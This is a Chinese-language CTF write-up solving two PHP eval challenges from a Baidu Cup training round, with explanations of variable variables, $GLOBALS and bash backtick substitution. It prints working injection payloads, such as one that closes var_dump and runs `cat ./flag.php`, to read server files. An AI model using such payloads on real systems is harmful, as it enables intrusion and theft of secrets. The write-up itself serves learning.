学习web,搞起来!
百度杯”CTF比赛(二月场)训练赛传送门
爆破-1
打开题目我们直接就看到源码,加上注释如下
<?php
include "flag.php"; //包含flag.php这个文件
$a = @$_REQUEST['hello']; //$a这个变量请求变量hello的值
if(!preg_match('/^\w*$/',$a )){ //正则表达式,匹配字符串,\w表示字符+数字+下划线,*代表有若干个\w字符组成。
die('ERROR');//不匹配则输出ERROR
}
eval("var_dump($$a);"); //如果匹配输出\$\$a的值
show_source(__FILE__);
?>
而且通过题目链接可以知道hello变量一定是6位的,一开始真以为是爆破了,但是一想肯定很大,不可能。而且我们发现 $$a 这个东西很诡异。其实就是php中变量可以当作另一个变量的变量名。例如
<?php
$a='b';
$b="hello world!";
eval("var_dump($$a);");
?>
上面代码会输出hello world!
PHP一个比较有意思的变量!$GLOBALS:一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
于是我们在url上构造/?hello=GLOBALS,结果就直接出来了!根本不是爆破好吧!
爆破-2
这时候代码为
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
我们可以看到第一种方法不好用了,所以另辟他径!我们注意到flag.php,会不会答案就在这个里面呢?而且”var_dump($a);”这个字符串是不是可以注入呢?明显是可以的!
构造payload如下
?hello=);echo%20`cat%20./flag.php`;//
然后这里面就必须讲一下一些小技巧!第一单引号,双引号,反引号在bash中的作用!
(PS:反引号位 (`) 位于键盘的Tab键的上方、1键的左方。注意与单引号(‘)位于Enter键的左方的区别。)
反括号`在Linux中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置。如下:
[root@localhost sh]# echo The date is `date`
The date is 2011年 03月 14日 星期一 21:15:43 CST
单引号、双引号用于用户把带有空格的字符串赋值给变量事的分界符。如果没有单引号或双引号,shell会把空格后的字符串解释为命令。
单引号和双引号的区别。单引号告诉shell忽略所有特殊字符,而双引号忽略大多数,但不包括$、\、`。
栗子:
[root@localhost tmp]# echo ‘the date is `date`’
the date is `date`
[root@localhost tmp]# echo “the date is `date`”
the date is Fri Oct 9 00:11:56 CST 2015
是不是发现了什么!eval( “var_dump($a);”);正式双引号!!!我们就可以用`了!
然后用cat读取输出即可!
这里还收集了其他的姿势!payload如下:
?hello=$a);print_r(file("./flag.php")); //
hello=